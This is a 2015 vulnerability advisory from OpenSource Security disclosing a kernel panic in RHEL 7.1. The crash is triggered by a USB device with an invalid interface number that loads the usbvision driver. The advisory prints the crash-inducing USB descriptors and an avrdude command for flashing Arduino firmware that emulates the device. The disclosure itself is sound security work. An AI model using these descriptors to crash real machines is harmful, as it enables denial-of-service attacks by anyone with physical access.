OpenSource Security Ralf Spenneberg
Am Bahnhof 3-5
48565 Steinfurt
info@os-s.net

OS-S Security Advisory 2015-04
http://www.os-s.net/advisories/DOS-KernelCrashesOnInvalidUSBDeviceDescriptors-UsbvisionDriver.pdf

Date: October 7th, 2015
Last Updated: October 7th, 2015
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) 
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid 
USB device descriptors (usbvision driver)
Severity: Critical. The Kernel panics. A reboot is required.
Vendor contacted: March 13th 2015 
https://bugzilla.redhat.com/show_bug.cgi?id=1201858
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates

Abstract
The Kernel 3.10.0-123.20.1.el7.x86_64 crashes when presented a buggy USB 
device which requires the usbvision driver. All subsequently published kernel 
updates crash as well.
Detailed product description
We confirmed the bug on the following system:
RHEL 7.1
kernel >= 3.10.0-123.20.1.el7.x86_64


Further products or kernel versions have not been tested
Description
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo 
(github.com/schumilo) using the following device descriptor:

###[ USB_Device_Descriptor ]###
        bLength   = 18
        bDescriptorType= 0x1
        bcdUSB    = 0x200
        bDeviceClass= 0xff
        bDeviceSubClass= 0
        bDeviceProtocol= 0
        bMaxPacketSize= 64
        isVendor  = 0x573
        idProduct = 0x4d26
        bcdDevice = 0x100
        iManufacturer= 1
        iProduct  = 2
        iSerialNumber= 3
        bNumConfigurations= 1

This is the configuration descriptor containing the malicious value for 
bInterfaceNumber causing the crash. Any number but 0 crashes the system.

###[ USB_Configuration_Descriptor ]###
        bLength   = 9
        bDescriptorType= 0x2
        wTotalLength= 0x27
        bNumInterfaces= 1
        bConfigurationValue= 1
        iConfiguration= 0
        bmAttributes= Remote_Wakeup+Self_Powered+Reserved_D7
        bMaxPower = 49
###[ USB_Interface_Descriptor ]###
           bLength   = 9
           bDescriptorType= 0x4
           bInterfaceNumber= 255
           bAlternateSetting= 0
           bNumEndpoints= 3
           bInterfaceClass= 0xff
           bInterfaceSubClass= 0x0
           bInterfaceProtocol= 0x0
           iInterface= 0
###[ USB_Endpoint_Descriptor ]###
              bLength   = 7
              bDescriptorType= 0x5
              bEndpointAddress= 0x81
              bmAttribut= 0x3
              wMaxPacketSize= 1028
              bInterval = 12
###[ USB_Endpoint_Descriptor ]###
                 bLength   = 7
                 bDescriptorType= 0x5
                 bEndpointAddress= 0x1
                 bmAttribut= 0x2
                 wMaxPacketSize= 4
                 bInterval = 12
###[ USB_Endpoint_Descriptor ]###
                    bLength   = 7
                    bDescriptorType= 0x5
                    bEndpointAddress= 0x82
                    bmAttribut= 0x1
                    wMaxPacketSize= 4
                    bInterval = 12

Proof of Concept
For a proof of concept we are providing a Arduino firmware file. Just flash it 
on Arduino Leonardo  and plug it into any RHEL machine. The arduino will 
emulate the defective USB device.

avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U 
flash:w:binary.hex

The file binary.hex has been attached to this bug report

To prevent automated sending of payloads, use a jumper to connect port D3 and 
3V3!

Severity and Ease of Exploitation
The security weakness can be easily exploited. Using our arduino firmware only 
physical access to the system is required. 
Vendor Communication
We unsuccessfully tried to contact the vendor for several months. We never 
received any response on our bugtraq ticket: 
https://bugzilla.redhat.com/show_bug.cgi?id=1201858

Arduino Firmware
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-- 
OpenSource Security Ralf Spenneberg         http://www.os-s.de
Am Bahnhof 3-5                          48565 Steinfurt         Germany
Fon:   +49(0)2552 638 755            Fax: +49(0)2552 638 757